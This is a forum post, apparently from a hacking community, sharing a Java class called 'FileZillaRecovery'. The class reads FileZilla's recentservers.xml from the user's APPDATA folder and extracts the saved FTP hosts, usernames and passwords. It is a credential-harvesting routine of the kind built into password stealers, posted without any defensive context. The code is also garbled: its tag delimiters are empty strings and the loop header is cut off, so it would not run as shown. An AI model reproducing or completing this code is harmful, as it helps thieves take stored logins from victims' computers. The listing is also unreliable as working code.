• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Java FileZilla Recovery [Java] [Fakedo0r]

Status
Not open for further replies.

sQuo

~ KillmeMories ~
Shadow
User
Joined
Oct 16, 2011
Messages
5,851
Reputation
0
Reaction score
22,904
Points
688
Credits
0
‎13 Years of Service‎
24%
Code:
>    import java.io.File;
   import java.io.FileNotFoundException;
   import java.io.FileReader;
   import java.io.BufferedReader;
   import java.io.IOException;
    
   public class FileZillaRecovery {
    
       public static String FileZilla() throws IOException
       {
          
           File sFile = null;
           FileReader Fr = null;
           BufferedReader Br = null;
          
           int         i;
           String      sName;
           String      sHost;
           String      sUser;
           String      sPass;
           String      sAccount;
           String      sFileXML;
           String      sF_Account;
           String[]    sArrAccount;
    
           sHost = "";
           sUser = "";
           sPass = "";
           sAccount = "";
           sF_Account = "";
          
           sName = System.getenv("APPDATA") + "\\FileZilla\\recentservers.xml";
    
           sFile = new File(sName);
    
           try
           {
               Fr = new FileReader(sFile);
               Br = new BufferedReader(Fr);
    
               while ((sFileXML = Br.readLine())!=null)
               {
                   sAccount = sAccount + sFileXML + "\n";
               }
           } catch (FileNotFoundException ex)
           {
               System.out.println("No se pudo recuperar!");
              
               return sF_Account;
           }
          
           if (sAccount.indexOf("")!=-1)
           {
               sAccount = TextCenter(sAccount,"","");
    
               sArrAccount = sAccount.split("");
    
               for (i=1;i                {
                   sHost = TextCenter(sArrAccount[i],"","");
                   sUser = TextCenter(sArrAccount[i],"","");
                   sPass = TextCenter(sArrAccount[i],"","");
    
                   sF_Account  = sF_Account +
                                "Host: " + sHost + "\n" +
                                "User: " + sUser + "\n" +
                                "Pass: " + sPass + "\n\n";
               }
               return sF_Account;
           }
           else
           {
               System.out.println("No se pudo recuperar!");
              
               return sF_Account;
           }
       }
    
       private static String TextCenter(String sTexto,String sDel1,String sDel2)
       {
           sTexto = sTexto.substring(sTexto.indexOf(sDel1)+sDel1.length(),sTexto.indexOf(sDel2));
          
           return sTexto;
       }
   }
 
Status
Not open for further replies.
Back
Top